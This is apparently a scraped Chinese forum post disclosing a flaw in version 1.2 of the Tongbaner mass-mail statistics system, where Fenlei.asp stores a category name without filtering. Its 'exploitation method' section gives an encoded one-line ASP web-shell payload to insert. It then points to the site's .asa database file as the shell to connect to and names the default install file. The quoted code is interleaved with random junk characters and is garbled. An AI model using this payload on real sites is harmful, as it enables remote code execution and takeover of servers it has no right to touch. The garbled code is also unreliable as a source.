铜板儿网邮件群发统计系统 v1.2 漏洞

admin

'Fenlei.asp

IF Request.QueryString("Action")="del" Then
ID=Request.QueryString("ID")
IF Countss ("tui","Fenlei",ID )<>0 then
'略
IF Request.QueryString("Action")="Add" Then
1 c. T% q5 \; S2 P* dTname=Request.Form("Typename")
8 S) i0 J( |: mSet Rs=Server.CreateObject("adodb.Recordset")
Sql="Select * From Fenlei Order by id Desc "
% f3 \5 V4 \2 M3 P! _" p* gRs.Open Sql,Conn,1,3
* q5 p0 c1 v: ^# T, ~Rs.Addnew
Rs("Typename")=Tname
2 _* e, R* i3 \" C2 K'略
Set Rs=Server.CreateObject("adodb.Recordset")
) Z/ y. y+ O) N  A/ K1 OSql="Select * From Fenlei Order by id Desc "
% f3 ~9 _5 v3 E8 b5 M% v, D3 z, ^2 ^Rs.Open Sql,Conn,1,1
'略
%>
: [  H( f$ x2 Y8 I6 g


% R7 L. S: I+ \9 p7 r5 {7 b5 d没有过滤，直接写入数据库。

利用方法：

插入：┼攠數畣整爠煥敵瑳∨≡┩>

5 B& t# j* M. _) U* c8 K
3 g! M, c5 j) k. q% N0 x1 j连接： http://www.xxx.com/###tongbaner.asa
'默认安装文件：
'install.asp